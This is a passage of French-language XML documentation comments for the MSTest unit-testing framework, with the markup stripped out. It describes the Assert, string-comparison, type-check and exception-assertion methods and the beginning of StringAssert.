de test - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Initialise une nouvelle instance de la classe . - - - - - Collection de classes d'assistance permettant de tester diverses conditions dans - des tests unitaires. Si la condition testée n'est pas remplie, une exception - est levée. - - - - - Obtient l'instance singleton de la fonctionnalité Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Message à inclure dans l'exception quand - est false. Le message s'affiche dans les résultats des tests. - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur true, et lève une exception - si la condition a la valeur false. - - - Condition censée être vraie (true) pour le test. - - - Message à inclure dans l'exception quand - est false. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is false. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Thrown if is true. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Message à inclure dans l'exception quand - est true. Le message s'affiche dans les résultats des tests. - - - Thrown if is true. - - - - - Teste si la condition spécifiée a la valeur false, et lève une exception - si la condition a la valeur true. - - - Condition censée être fausse (false) pour le test. - - - Message à inclure dans l'exception quand - est true. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is true. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - n'a pas une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur null, et lève une exception - si ce n'est pas le cas. - - - Objet censé avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - n'a pas une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Thrown if is null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - a une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if is null. - - - - - Teste si l'objet spécifié a une valeur non null, et lève une exception - s'il a une valeur null. - - - Objet censé ne pas avoir une valeur null pour le test. - - - Message à inclure dans l'exception quand - a une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is null. - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas identique à . Le message s'affiche - dans les résultats des tests. - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence au même objet, et - lève une exception si les deux entrées ne font pas référence au même objet. - - - Premier objet à comparer. Valeur attendue par le test. - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas identique à . Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if does not refer to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if refers to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est identique à . Le message s'affiche dans - les résultats des tests. - - - Thrown if refers to the same object - as . - - - - - Teste si les objets spécifiés font référence à des objets distincts, et - lève une exception si les deux entrées font référence au même objet. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est identique à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if refers to the same object - as . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if is not equal to . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les valeurs spécifiées sont identiques, et lève une exception - si les deux valeurs sont différentes. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Valeur attendue par le test. - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Thrown if is equal to . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs spécifiées sont différentes, et lève une exception - si les deux valeurs sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - The type of values to compare. - - - Première valeur à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur à comparer. Il s'agit de la valeur produite par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont identiques, et lève une exception - si les deux objets ne sont pas identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Objet attendu par le test. - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les objets spécifiés sont différents, et lève une exception - si les deux objets sont identiques. Les types numériques distincts sont considérés comme - différents même si les valeurs logiques sont identiques. 42L n'est pas égal à 42. - - - Premier objet à comparer. Il s'agit de la valeur à laquelle le test est censé ne pas - correspondre . - - - Second objet à comparer. Il s'agit de l'objet produit par le code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur float à comparer. Valeur float attendue par le test. - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs float spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur float à comparer. Il s'agit de la valeur float à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur float à comparer. Il s'agit de la valeur float produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Thrown if is not equal to - . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les valeurs double spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première valeur double à comparer. Valeur double attendue par le test. - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - de plus de . - - - Message à inclure dans l'exception quand - est différent de de plus de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les valeurs double spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première valeur double à comparer. Il s'agit de la valeur double à laquelle le test est censé ne pas - correspondre . - - - Seconde valeur double à comparer. Il s'agit de la valeur double produite par le code testé. - - - Précision nécessaire. Une exception est levée uniquement si - est différent de - d'au maximum . - - - Message à inclure dans l'exception quand - est égal à ou diffère de moins de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont identiques, et lève une exception - si elles sont différentes. - - - Première chaîne à comparer. Chaîne attendue par le test. - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. La culture invariante est utilisée pour la comparaison. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les chaînes spécifiées sont différentes, et lève une exception - si elles sont identiques. - - - Première chaîne à comparer. Il s'agit de la chaîne à laquelle le test est censé ne pas - correspondre . - - - Seconde chaîne à comparer. Il s'agit de la chaîne produite par le code testé. - - - Booléen indiquant une comparaison qui respecte la casse ou non. (true - indique une comparaison qui ne respecte pas la casse.) - - - Objet CultureInfo qui fournit des informations de comparaison spécifiques à la culture. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Message à inclure dans l'exception quand - n'est pas une instance de . Le message - s'affiche dans les résultats des tests. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié est une instance du - type attendu, et lève une exception si le type attendu n'est pas dans - la hiérarchie d'héritage de l'objet. - - - Objet censé être du type spécifié pour le test. - - - Le type attendu de . - - - Message à inclure dans l'exception quand - n'est pas une instance de . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Message à inclure dans l'exception quand - est une instance de . Le message s'affiche - dans les résultats des tests. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Teste si l'objet spécifié n'est pas une instance du mauvais - type, et lève une exception si le type spécifié est dans - la hiérarchie d'héritage de l'objet. - - - Objet censé ne pas être du type spécifié pour le test. - - - Type auquel ne doit pas correspondre. - - - Message à inclure dans l'exception quand - est une instance de . Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Lève AssertFailedException. - - - Always thrown. - - - - - Lève AssertFailedException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Always thrown. - - - - - Lève AssertFailedException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Always thrown. - - - - - Lève AssertInconclusiveException. - - - Message à inclure dans l'exception. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Always thrown. - - - - - Les surcharges statiques d'equals comparent les instances de deux types pour déterminer si leurs références sont - égales entre elles. Cette méthode ne doit pas être utilisée pour évaluer si deux instances sont - égales entre elles. Cet objet est toujours levé avec Assert.Fail. Utilisez - Assert.AreEqual et les surcharges associées dans vos tests unitaires. - - Objet A - Objet B - False, toujours. - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Type de l'exception censée être levée. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève - - AssertFailedException - - si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - - Délégué du code à tester et censé lever une exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève AssertFailedException si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - Délégué du code à tester et censé lever une exception. - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Teste si le code spécifié par le délégué lève une exception précise de type (et non d'un type dérivé) - et lève AssertFailedException si le code ne lève pas d'exception, ou lève une exception d'un autre type que . - - Délégué du code à tester et censé lever une exception. - - Message à inclure dans l'exception quand - ne lève pas d'exception de type . - - - Tableau de paramètres à utiliser pour la mise en forme de . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - Le qui exécute le délégué. - - - - - Remplace les caractères Null ('\0') par "\\0". - - - Chaîne à rechercher. - - - Chaîne convertie où les caractères null sont remplacés par "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Fonction d'assistance qui crée et lève AssertionFailedException - - - nom de l'assertion levant une exception - - - message décrivant les conditions de l'échec d'assertion - - - Paramètres. - - - - - Vérifie la validité des conditions du paramètre - - - Paramètre. - - - Nom de l'assertion. - - - nom du paramètre - - - message d'exception liée à un paramètre non valide - - - Paramètres. - - - - - Convertit en toute sécurité un objet en chaîne, en gérant les valeurs null et les caractères Null. - Les valeurs null sont converties en "(null)". Les caractères Null sont convertis en "\\0". - - - Objet à convertir en chaîne. - - - Chaîne convertie. - - - - - Assertion de chaîne. - - - - - Obtient l'instance singleton de la fonctionnalité CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée contient la sous-chaîne spécifiée - et lève une exception si la sous-chaîne ne figure pas dans - la chaîne de test. - - - Chaîne censée contenir . - - - Chaîne censée se trouver dans . - - - Message à inclure dans l'exception quand - n'est pas dans . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not found in - . - - - - - Teste si la chaîne indiquée commence par la sous-chaîne spécifiée - et lève une exception si la chaîne de test ne commence pas par la - sous-chaîne. - - - Chaîne censée commencer par . - - - Chaîne censée être un préfixe de . - - - Thrown if does not begin with - . 